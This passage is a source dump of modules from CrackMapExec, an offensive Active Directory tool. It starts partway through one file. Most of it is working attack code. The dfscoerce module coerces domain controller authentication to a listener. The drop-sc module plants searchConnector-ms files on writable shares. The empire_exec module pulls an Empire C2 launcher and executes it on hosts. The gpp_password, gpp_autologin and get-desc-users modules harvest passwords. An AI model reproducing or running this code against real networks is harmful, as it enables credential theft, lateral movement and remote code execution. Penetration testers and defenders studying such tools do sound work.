 91 |                             urls.append(match.group(1))
 92 | 
 93 |         except Exception as e:
 94 |             entry = host_name or 'item'
 95 |             self.context.log.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
 96 | 
 97 |         if host_name:
 98 |             self.context.log.highlight('Found PKI Enrollment Server: {}'.format(host_name))
 99 | 
100 |         if cn:
101 |             self.context.log.highlight('Found CN: {}'.format(cn))
102 | 
103 |         for url in urls:
104 |             self.context.log.highlight('Found PKI Enrollment WebService: {}'.format(url))
105 | 
106 |     def process_templates(self, item):
107 |         '''
108 |         Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
109 |         '''
110 |         if not isinstance(item, ldapasn1.SearchResultEntry):
111 |             return
112 | 
113 |         templates = []
114 |         template_name = None
115 | 
116 |         try:
117 | 
118 |             for attribute in item['attributes']:
119 | 
120 |                 if str(attribute['type']) == 'certificateTemplates':
121 |                     for val in attribute['vals']:
122 |                         template_name = val.asOctets().decode('utf-8')
123 |                         templates.append(template_name)
124 | 
125 |         except Exception as e:
126 |             entry = template_name or 'item'
127 |             self.context.log.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
128 | 
129 |         if templates:
130 |             for t in templates:
131 |                 self.context.log.highlight('Found Certificate Template: {}'.format(t))
132 | 
--------------------------------------------------------------------------------
/cme/modules/bh_owned.py:
--------------------------------------------------------------------------------
 1 | # Author:
 2 | #  Romain Bentz (pixis - @hackanddo)
 3 | # Website:
 4 | #  https://beta.hackndo.com [FR]
 5 | #  https://en.hackndo.com [EN]
 6 | 
 7 | import json
 8 | import sys
 9 | 
10 | 
11 | class CMEModule:
12 |     name = 'bh_owned'
13 |     description = "Set pwned computer as owned in Bloodhound"
14 |     supported_protocols = ['smb']
15 |     opsec_safe = True
16 |     multiple_hosts = True
17 | 
18 |     def options(self, context, module_options):
19 |         """
20 |             URI            URI for Neo4j database (default: 127.0.0.1)
21 |             PORT           Listening port for Neo4j database (default: 7687)
22 |             USER           Username for Neo4j database (default: 'neo4j')
23 |             PASS           Password for Neo4j database (default: 'neo4j')
24 |         """
25 |         
26 |         self.neo4j_URI = "127.0.0.1"
27 |         self.neo4j_Port = "7687"
28 |         self.neo4j_user = "neo4j"
29 |         self.neo4j_pass = "neo4j"
30 | 
31 |         if module_options and 'URI' in module_options:
32 |             self.neo4j_URI = module_options['URI']
33 |         if module_options and 'PORT' in module_options:
34 |             self.neo4j_Port = module_options['PORT']
35 |         if module_options and 'USER' in module_options:
36 |             self.neo4j_user = module_options['USER']
37 |         if module_options and 'PASS' in module_options:
38 |             self.neo4j_pass = module_options['PASS']
39 | 
40 |     def on_admin_login(self, context, connection):
41 |         try:
42 |             from neo4j.v1 import GraphDatabase
43 |         except:
44 |             from neo4j import GraphDatabase
45 | 
46 |         from neo4j.exceptions import AuthError, ServiceUnavailable
47 |         
48 |         if context.local_auth:
49 |             domain    = connection.conn.getServerDNSDomainName()
50 |         else:
51 |             domain = connection.domain
52 | 
53 | 
54 |         host_fqdn = (connection.hostname + "." + domain).upper()
55 |         uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
56 | 
57 |         try:
58 |             driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
59 |         except AuthError as e:
60 |             context.log.error(
61 |                 "Provided Neo4J credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
62 |             sys.exit()
63 |         except ServiceUnavailable as e:
64 |             context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
65 |             sys.exit()
66 |         except Exception as e:
67 |             context.log.error("Unexpected error with Neo4J")
68 |             context.log.debug("Error : ".format(str(e)))
69 |             sys.exit()
70 | 
71 |         with driver.session() as session:
72 |             with session.begin_transaction() as tx:
73 |                 result = tx.run(
74 |                     "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
75 |         if len(result.value()) > 0:
76 |             context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
77 |         else:
78 |             context.log.error(
79 |                 "Node {} does not appear to be in Neo4J database. Have you imported correct data?".format(host_fqdn))
80 |         driver.close()
--------------------------------------------------------------------------------
/cme/modules/dfscoerce.py:
--------------------------------------------------------------------------------
  1 | import logging 
  2 | from impacket import system_errors
  3 | from impacket.dcerpc.v5 import transport
  4 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
  5 | from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
  6 | from impacket.dcerpc.v5.rpcrt import DCERPCException
  7 | from impacket.uuid import uuidtup_to_bin
  8 | 
  9 | class CMEModule:
 10 |     
 11 |     name = 'dfscoerce'
 12 |     description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
 13 |     supported_protocols = ['smb']
 14 |     opsec_safe = True 
 15 |     multiple_hosts = True 
 16 | 
 17 |     def options(self, context, module_options):
 18 |         self.listener = "127.0.0.1"
 19 |         if 'LISTENER' in module_options:
 20 |             self.listener = module_options['LISTENER']
 21 | 
 22 |     def on_login(self, context, connection):
 23 |         trigger = TriggerAuth()
 24 |         dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host)
 25 | 
 26 |         if dce is not None: 
 27 |             logging.debug("Target is vulnerable to DFSCoerce")
 28 |             trigger.NetrDfsRemoveStdRoot(dce, self.listener)
 29 |             context.log.highlight("VULNERABLE")
 30 |             context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
 31 |             dce.disconnect()
 32 |         
 33 |         else:
 34 |             logging.debug("Target is not vulnerable to DFSCoerce")
 35 |         
 36 | class DCERPCSessionError(DCERPCException):
 37 |     def __init__(self, error_string=None, error_code=None, packet=None):
 38 |         DCERPCException.__init__(self, error_string, error_code, packet)
 39 | 
 40 |     def __str__(self):
 41 |         key = self.error_code
 42 |         if key in system_errors.ERROR_MESSAGES:
 43 |             error_msg_short = system_errors.ERROR_MESSAGES[key][0]
 44 |             error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
 45 |             return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
 46 |         else:
 47 |             return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code
 48 | 
 49 | ################################################################################
 50 | # RPC CALLS
 51 | ################################################################################
 52 | class NetrDfsRemoveStdRoot(NDRCALL):
 53 |     opnum = 13
 54 |     structure = (
 55 |         ('ServerName', WSTR),
 56 |         ('RootShare', WSTR),
 57 |         ('ApiFlags', DWORD),
 58 |     )
 59 | 
 60 | class NetrDfsRemoveStdRootResponse(NDRCALL):
 61 |     structure = (
 62 |         ('ErrorCode', ULONG),
 63 |     )
 64 | class NetrDfsAddRoot(NDRCALL):
 65 |     opnum = 12
 66 |     structure = (
 67 |          ('ServerName',WSTR),
 68 |          ('RootShare',WSTR),
 69 |          ('Comment',WSTR),
 70 |          ('ApiFlags',DWORD),
 71 |      )
 72 | class NetrDfsAddRootResponse(NDRCALL):
 73 |      structure = (
 74 |          ('ErrorCode', ULONG),
 75 |      )
 76 | 
 77 | class TriggerAuth():
 78 |     def connect(self, username, password, domain, lmhash, nthash, target):
 79 |         rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target)
 80 |         if hasattr(rpctransport, 'set_credentials'):
 81 |             rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
 82 | 
 83 |         #if doKerberos:
 84 |         #    rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
 85 |         #if target:
 86 |         #    rpctransport.setRemoteHost(target)
 87 |         
 88 |         rpctransport.setRemoteHost(target)
 89 |         dce = rpctransport.get_dce_rpc()
 90 |         logging.debug("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target)
 91 |         try:
 92 |             dce.connect()
 93 |         except Exception as e:
 94 |             logging.debug("Something went wrong, check error status => %s" % str(e))
 95 |             return
 96 |         try:
 97 |             dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0')))
 98 |         except Exception as e:
 99 |             logging.debug("Something went wrong, check error status => %s" % str(e))
100 |             return
101 |         logging.debug("[+] Successfully bound!")
102 |         return dce
103 | 
104 |     def NetrDfsRemoveStdRoot(self, dce, listener):
105 |         logging.debug("[-] Sending NetrDfsRemoveStdRoot!")
106 |         try:
107 |             request = NetrDfsRemoveStdRoot()
108 |             request['ServerName'] = '%s\x00' % listener
109 |             request['RootShare'] = 'test\x00'
110 |             request['ApiFlags'] = 1
111 |             if self.args.verbose:
112 |                 logging.debug(request.dump())
113 |             #logging.debug(request.dump())
114 |             resp = dce.request(request)
115 | 
116 |         except  Exception as e:
117 |             logging.debug(e)
--------------------------------------------------------------------------------
/cme/modules/drop_searchConnector-ms.py:
--------------------------------------------------------------------------------
 1 | import ntpath
 2 | 
 3 | class CMEModule:
 4 |     '''
 5 |         Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
 6 |         https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
 7 |         Module by @zblurx
 8 |     '''
 9 | 
10 |     name = 'drop-sc'
11 |     description = 'Drop a searchConnector-ms file on each writable share'
12 |     supported_protocols = ["smb"]
13 |     opsec_safe= False
14 |     multiple_hosts = True
15 | 
16 |     def options(self, context, module_options):
17 |         '''
18 |             Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
19 |             https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
20 |             Module by @zblurx
21 |             URL         URL in the searchConnector-ms file, default https://rickroll
22 |             CLEANUP     Cleanup (choices: True or False)
23 |             SHARE       Specify a share to target
24 |             FILENAME    Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
25 |         '''
26 |         self.cleanup = False
27 |         if 'CLEANUP' in module_options:
28 |             self.cleanup = bool(module_options['CLEANUP'])
29 |        
30 |         self.url = 'https://rickroll'
31 |         if 'URL' in module_options:
32 |             self.url = str(module_options['URL'])
33 | 
34 |         self.sharename = ''
35 |         if 'SHARE' in module_options:
36 |             self.sharename = str(module_options['SHARE'])
37 | 
38 |         self.filename = 'Documents'
39 |         if 'FILENAME' in module_options:
40 |             self.filename = str(module_options['FILENAME'])
41 | 
42 |         self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename))
43 |         if not self.cleanup:
44 |             self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename)
45 |             scfile = open(self.scfile_path, 'w')
46 |             scfile.truncate(0)
47 |             scfile.write('')
48 |             scfile.write('')
49 |             scfile.write('Microsoft Outlook')
50 |             scfile.write('false')
51 |             scfile.write('true')
52 |             scfile.write('{}/0001.ico'.format(self.url))
53 |             scfile.write('')
54 |             scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}')
55 |             scfile.write('')
56 |             scfile.write('')
57 |             scfile.write('{}'.format(self.url))
58 |             scfile.write('')
59 |             scfile.write('')
60 |             scfile.close()
61 | 
62 |     def on_login(self, context, connection):
63 |         shares = connection.shares()
64 |         for share in shares:
65 |             if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']):
66 |                 context.log.success('Found writable share: {}'.format(share['name']))
67 |                 if not self.cleanup:
68 |                     with open(self.scfile_path, 'rb') as scfile:
69 |                         try:
70 |                             connection.conn.putFile(share['name'], self.file_path, scfile.read)
71 |                             context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
72 |                         except Exception as e:
73 |                             context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e))
74 |                 else:
75 |                     try:
76 |                         connection.conn.deleteFile(share['name'], self.file_path)
77 |                         context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
78 |                     except Exception as e:
79 |                         context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))
80 | 
81 | 
--------------------------------------------------------------------------------
/cme/modules/empire_exec.py:
--------------------------------------------------------------------------------
 1 | import sys
 2 | import requests
 3 | from requests import ConnectionError
 4 | 
 5 | #The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
 6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 8 | 
 9 | class CMEModule:
10 |     '''
11 |         Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
12 |         Module by @byt3bl33d3r
13 |     '''
14 | 
15 |     name='empire_exec'
16 |     description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
17 |     supported_protocols = ['smb', 'mssql']
18 |     opsec_safe = True
19 |     multiple_hosts = True
20 | 
21 |     def options(self, context, module_options):
22 |         '''
23 |             LISTENER    Listener name to generate the launcher for
24 |         '''
25 | 
26 |         if not 'LISTENER' in module_options:
27 |             context.log.error('LISTENER option is required!')
28 |             sys.exit(1)
29 | 
30 |         self.empire_launcher = None
31 | 
32 |         headers = {'Content-Type': 'application/json'}
33 |         #Pull the host and port from the config file
34 |         base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
35 | 
36 |         try:
37 |             #Pull the username and password from the config file
38 |             payload = {'username': context.conf.get('Empire', 'username'),
39 |                        'password': context.conf.get('Empire', 'password')}
40 | 
41 |             r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
42 |             if r.status_code == 200:
43 |                 token = r.json()['token']
44 |             else:
45 |                 context.log.error("Error authenticating to Empire's RESTful API server!")
46 |                 sys.exit(1)
47 | 
48 |             payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']}
49 |             r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
50 |             
51 |             response = r.json()
52 |             if "error" in response:
53 |                 context.log.error("Error from empire : {}".format(response["error"]))
54 |                 sys.exit(1)
55 | 
56 |             self.empire_launcher = response['multi/launcher']['Output']
57 | 
58 |             context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
59 | 
60 |         except ConnectionError as e:
61 |             context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
62 |             sys.exit(1)
63 | 
64 |     def on_admin_login(self, context, connection):
65 |         if self.empire_launcher:
66 |             connection.execute(self.empire_launcher)
67 |             context.log.success('Executed Empire Launcher')
68 | 
--------------------------------------------------------------------------------
/cme/modules/enum_avproducts.py:
--------------------------------------------------------------------------------
 1 | class CMEModule:
 2 |     '''
 3 |         Uses WMI to gather information on all endpoint protection solutions installed on the the remote host(s)
 4 |         Module by @byt3bl33d3r
 5 | 
 6 |     '''
 7 | 
 8 |     name = 'enum_avproducts'
 9 |     description = 'Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI'
10 |     supported_protocols = ['smb']
11 |     opsec_safe= True
12 |     multiple_hosts = True
13 | 
14 |     def options(self, context, module_options):
15 |         pass
16 | 
17 |     def on_admin_login(self, context, connection):
18 |         output = connection.wmi('Select * From AntiSpywareProduct', 'root\\SecurityCenter2')
19 |         if output:
20 |             context.log.success('Found Anti-Spyware product:')
21 |             for entry in output:
22 |                 for k,v in entry.items():
23 |                     context.log.highlight('{} => {}'.format(k,v['value']))
24 | 
25 |         output = connection.wmi('Select * from AntiVirusProduct', 'root\\SecurityCenter2')
26 |         if output:
27 |             context.log.success('Found Anti-Virus product:')
28 |             for entry in output:
29 |                 for k,v in entry.items():
30 |                     context.log.highlight('{} => {}'.format(k,v['value']))
--------------------------------------------------------------------------------
/cme/modules/enum_dns.py:
--------------------------------------------------------------------------------
 1 | from datetime import datetime
 2 | from cme.helpers.logger import write_log
 3 | 
 4 | class CMEModule:
 5 |     '''
 6 |         Uses WMI to dump DNS from an AD DNS Server.
 7 |         Module by @fang0654
 8 | 
 9 |     '''
10 | 
11 |     name = 'enum_dns'
12 |     description = 'Uses WMI to dump DNS from an AD DNS Server'
13 |     supported_protocols = ['smb']
14 |     opsec_safe= True
15 |     multiple_hosts = True
16 | 
17 |     def options(self, context, module_options):
18 |         '''
19 |         DOMAIN             Domain to enumerate DNS for. Defaults to all zones.
20 |         '''
21 |         self.domains = None
22 |         if module_options and 'DOMAIN' in module_options:
23 |             self.domains = module_options['DOMAIN']
24 | 
25 |     def on_admin_login(self, context, connection):
26 | 
27 |         if not self.domains:
28 |             domains = []
29 |             output = connection.wmi('Select Name FROM MicrosoftDNS_Zone', 'root\\microsoftdns')
30 | 
31 |             if output:
32 |                 for result in output:
33 |                     domains.append(result['Name']['value'])
34 | 
35 |                 context.log.success('Domains retrieved: {}'.format(domains))
36 |         else:
37 |             domains = [self.domains]
38 |         data = ""
39 |         for domain in domains:
40 |             output = connection.wmi('Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = "{}"'.format(domain), 'root\\microsoftdns')
41 |             
42 |             if output:
43 |                 domain_data = {}
44 |                 context.log.highlight("Results for {}".format(domain))
45 |                 data += "Results for {}\n".format(domain)
46 |                 for entry in output:
47 |                     text = entry['TextRepresentation']['value']
48 |                     rname = text.split(' ')[0]
49 |                     rtype = text.split(' ')[2]
50 |                     rvalue = ' '.join(text.split(' ')[3:])
51 |                     if domain_data.get(rtype, False):
52 |                         domain_data[rtype].append("{}: {}".format(rname, rvalue))
53 |                     else:
54 |                         domain_data[rtype] = ["{}: {}".format(rname, rvalue)]
55 | 
56 |                 for k, v in sorted(domain_data.items()):
57 |                     context.log.highlight("Record Type: {}".format(k))
58 |                     data += "Record Type: {}\n".format(k)
59 |                     for d in sorted(v):
60 |                         context.log.highlight("\t"+d)
61 |                         data += "\t" + d + "\n"
62 | 
63 |         log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
64 |         write_log(data, log_name)
65 |         context.log.info("Saved raw output to {}".format(log_name))
66 | 
67 | 
--------------------------------------------------------------------------------
/cme/modules/example_module.py:
--------------------------------------------------------------------------------
 1 | class CMEModule:
 2 |     '''
 3 |         Example
 4 |         Module by @yomama
 5 | 
 6 |     '''
 7 |     name = 'example module'
 8 |     description = 'I do something'
 9 |     supported_protocols = []
10 |     opsec_safe= True #Does the module touch disk?
11 |     multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
12 | 
13 |     def options(self, context, module_options):
14 |         '''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
15 |         pass
16 | 
17 |     def on_login(self, context, connection):
18 |         '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
19 |         pass
20 | 
21 |     def on_admin_login(self, context, connection):
22 |         '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
23 |         pass
24 | 
25 |     def on_request(self, context, request):
26 |         '''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
27 |         pass
28 | 
29 |     def on_response(self, context, response):
30 |         '''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
31 |         pass
32 | 
33 |     def on_shutdown(self, context, connection):
34 |         '''Optional. Do something on shutdown'''
35 |         pass
36 | 
--------------------------------------------------------------------------------
/cme/modules/get_description.py:
--------------------------------------------------------------------------------
  1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket
  2 | from impacket.ldap import ldap as ldap_impacket
  3 | import re
  4 | 
  5 | class CMEModule:
  6 |     '''
  7 |         Get description of users
  8 |         Module by @nodauf
  9 |     '''
 10 |     name = 'get-desc-users'
 11 |     description = 'Get description of the users. May contained password'
 12 |     supported_protocols = ['ldap']
 13 |     opsec_safe= True #Does the module touch disk?
 14 |     multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
 15 | 
 16 |     def options(self, context, module_options):
 17 |         '''
 18 |             FILTER    Apply the FILTER (grep-like) (default: '')
 19 |             PASSWORDPOLICY    Is the windows password policy enabled ? (default: False)
 20 |             MINLENGTH    Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6)
 21 |         '''
 22 |         self.FILTER = ''
 23 |         self.MINLENGTH = '6'
 24 |         self.PASSWORDPOLICY = False
 25 |         if 'FILTER' in module_options:
 26 |             self.FILTER = module_options['FILTER']
 27 |         if 'MINLENGTH' in module_options:
 28 |             self.MINLENGTH = module_options['MINLENGTH']
 29 |         if 'PASSWORDPOLICY' in module_options:
 30 |             self.PASSWORDPOLICY = True
 31 |             self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"+self.MINLENGTH+",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 32 | 
 33 |     def on_login(self, context, connection):
 34 |         '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
 35 |         # Building the search filter
 36 |         searchFilter = "(objectclass=user)"
 37 | 
 38 |         try:
 39 |             context.log.debug('Search Filter=%s' % searchFilter)
 40 |             resp = connection.ldapConnection.search(searchFilter=searchFilter,
 41 |                                         attributes=['sAMAccountName','description'],
 42 |                                         sizeLimit=0)
 43 |         except ldap_impacket.LDAPSearchError as e:
 44 |             if e.getErrorString().find('sizeLimitExceeded') >= 0:
 45 |                 context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
 46 |                 # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
 47 |                 # paged queries
 48 |                 resp = e.getAnswers()
 49 |                 pass
 50 |             else:
 51 |                 logging.debug(e)
 52 |                 return False
 53 | 
 54 |         answers = []
 55 |         context.log.debug('Total of records returned %d' % len(resp))
 56 |         for item in resp:
 57 |             if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
 58 |                 continue
 59 |             sAMAccountName =  ''
 60 |             description = ''
 61 |             try:
 62 |                 for attribute in item['attributes']:
 63 |                     if str(attribute['type']) == 'sAMAccountName':
 64 |                         sAMAccountName = str(attribute['vals'][0])
 65 |                     elif str(attribute['type']) == 'description':
 66 |                         description = attribute['vals'][0]
 67 |                 if sAMAccountName != '' and description != '':
 68 |                     answers.append([sAMAccountName,description])
 69 |             except Exception as e:
 70 |                 context.log.debug("Exception:", exc_info=True)
 71 |                 context.log.debug('Skipping item, cannot process due to error %s' % str(e))
 72 |                 pass
 73 |         answers = self.filter_answer(context, answers)
 74 |         if len(answers) > 0:
 75 |             context.log.success('Found following users: ')
 76 |             for answer in answers:
 77 |                 context.log.highlight(u'User: {} description: {}'.format(answer[0],answer[1]))
 78 | 
 79 |     def filter_answer(self, context, answers):
 80 |         # No option to filter
 81 |         if self.FILTER == '' and not self.PASSWORDPOLICY:
 82 |             context.log.debug("No filter option enabled")
 83 |             return answers
 84 |         answersFiltered = []
 85 |         context.log.debug("Prepare to filter")
 86 |         if len(answers) > 0:
 87 |             for answer in answers:
 88 |                 conditionFilter = False
 89 |                 description = str(answer[1])
 90 |                 # Filter
 91 |                 if self.FILTER != '':
 92 |                     conditionFilter = False
 93 |                     if self.FILTER in description:
 94 |                         conditionFilter = True
 95 |     
 96 |                 # Password policy
 97 |                 if self.PASSWORDPOLICY:
 98 |                     conditionPasswordPolicy = False
 99 |                     if self.regex.search(description):
100 |                         conditionPasswordPolicy = True
101 |                 
102 |                 if (self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy):
103 |                     answersFiltered.append([answer[0],description])
104 |                 elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
105 |                     answersFiltered.append([answer[0],description])
106 |                 elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
107 |                     answersFiltered.append([answer[0],description])
108 |         return answersFiltered
109 | 
--------------------------------------------------------------------------------
/cme/modules/get_netconnections.py:
--------------------------------------------------------------------------------
 1 | from datetime import datetime
 2 | from cme.helpers.logger import write_log
 3 | import json
 4 | 
 5 | class CMEModule:
 6 |     '''
 7 |         Uses WMI to extract network connections, used to find multi-homed hosts.
 8 |         Module by @fang0654
 9 | 
10 |     '''
11 | 
12 |     name = 'get_netconnections'
13 |     description = 'Uses WMI to query network connections.'
14 |     supported_protocols = ['smb']
15 |     opsec_safe= True
16 |     multiple_hosts = True
17 | 
18 |     def options(self, context, module_options):
19 |         '''
20 |         No options
21 |         '''
22 |         pass
23 | 
24 |     def on_admin_login(self, context, connection):
25 | 
26 |         data = []
27 |         cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
28 |         for c in cards:
29 |             if c['IPAddress'].get('value'):
30 |                 context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}")
31 |                 
32 |         data.append(cards)
33 | 
34 |         log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
35 |         write_log(json.dumps(data), log_name)
36 |         context.log.info("Saved raw output to {}".format(log_name))
37 | 
38 | 
--------------------------------------------------------------------------------
/cme/modules/gpp_autologin.py:
--------------------------------------------------------------------------------
 1 | import xml.etree.ElementTree as ET
 2 | from io import BytesIO
 3 | 
 4 | class CMEModule:
 5 |     '''
 6 |       Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
 7 |       Module by @byt3bl33d3r
 8 |     '''
 9 | 
10 |     name = 'gpp_autologin'
11 |     description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.'
12 |     supported_protocols = ['smb']
13 |     opsec_safe = True
14 |     multiple_hosts = True
15 | 
16 |     def options(self, context, module_options):
17 |         '''
18 |         '''
19 | 
20 |     def on_login(self, context, connection):
21 |         shares = connection.shares()
22 |         for share in shares:
23 |             if share['name'] == 'SYSVOL' and 'READ' in share['access']:
24 | 
25 |                 context.log.success('Found SYSVOL share')
26 |                 context.log.info('Searching for Registry.xml')
27 | 
28 |                 paths = connection.spider('SYSVOL', pattern=['Registry.xml'])
29 | 
30 |                 for path in paths:
31 |                     context.log.info('Found {}'.format(path))
32 | 
33 |                     buf = BytesIO()
34 |                     connection.conn.getFile('SYSVOL', path, buf.write)
35 |                     xml = ET.fromstring(buf.getvalue())
36 | 
37 |                     if xml.findall('.//Properties[@name="DefaultPassword"]'):
38 |                         usernames = []
39 |                         passwords = []
40 |                         domains   = []
41 | 
42 |                         xml_section = xml.findall(".//Properties")
43 | 
44 |                         for section in xml_section:
45 |                             attrs = section.attrib
46 | 
47 |                             if attrs['name'] == 'DefaultPassword':
48 |                                 passwords.append(attrs['value'])
49 | 
50 |                             if attrs['name'] == 'DefaultUserName':
51 |                                 usernames.append(attrs['value'])
52 | 
53 |                             if attrs['name'] == 'DefaultDomainName':
54 |                                 domains.append(attrs['value'])
55 | 
56 |                         if usernames or passwords:
57 |                             context.log.success('Found credentials in {}'.format(path))
58 |                             context.log.highlight('Usernames: {}'.format(usernames))
59 |                             context.log.highlight('Domains: {}'.format(domains))
60 |                             context.log.highlight('Passwords: {}'.format(passwords))
--------------------------------------------------------------------------------
/cme/modules/gpp_password.py:
--------------------------------------------------------------------------------
 1 | import xml.etree.ElementTree as ET
 2 | from Cryptodome.Cipher import AES
 3 | from base64 import b64decode
 4 | from binascii import unhexlify
 5 | from io import BytesIO
 6 | 
 7 | class CMEModule:
 8 |     '''
 9 |       Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
10 |       Module by @byt3bl33d3r
11 |     '''
12 | 
13 |     name = 'gpp_password'
14 |     description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.'
15 |     supported_protocols = ['smb']
16 |     opsec_safe = True
17 |     multiple_hosts = True
18 | 
19 |     def options(self, context, module_options):
20 |         '''
21 |         '''
22 | 
23 |     def on_login(self, context, connection):
24 |         shares = connection.shares()
25 |         for share in shares:
26 |             if share['name'] == 'SYSVOL' and 'READ' in share['access']:
27 | 
28 |                 context.log.success('Found SYSVOL share')
29 |                 context.log.info('Searching for potential XML files containing passwords')
30 | 
31 |                 paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'])
32 | 
33 |                 for path in paths:
34 |                     context.log.info('Found {}'.format(path))
35 | 
36 |                     buf = BytesIO()
37 |                     connection.conn.getFile('SYSVOL', path, buf.write)
38 |                     xml = ET.fromstring(buf.getvalue())
39 |                     sections = []
40 | 
41 |                     if 'Groups.xml' in path:
42 |                         sections.append('./User/Properties')
43 | 
44 |                     elif 'Services.xml' in path:
45 |                         sections.append('./NTService/Properties')
46 | 
47 |                     elif 'ScheduledTasks.xml' in path:
48 |                         sections.append('./Task/Properties')
49 |                         sections.append('./ImmediateTask/Properties')
50 |                         sections.append('./ImmediateTaskV2/Properties')
51 |                         sections.append('./TaskV2/Properties')
52 | 
53 |                     elif 'DataSources.xml' in path:
54 |                         sections.append('./DataSource/Properties')
55 | 
56 |                     elif 'Printers.xml' in path:
57 |                         sections.append('./SharedPrinter/Properties')
58 | 
59 |                     elif 'Drives.xml' in path:
60 |                         sections.append('./Drive/Properties')
61 | 
62 | 
63 |                     for section in sections:
64 |                         xml_section = xml.findall(section)
65 |                         for attr in xml_section:
66 |                             props = attr.attrib
67 | 
68 |                             if 'cpassword' in props:
69 |                                 for user_tag in ['userName', 'accountName', 'runAs', 'username']:
70 |                                     if user_tag in props:
71 |                                         username = props[user_tag]
72 | 
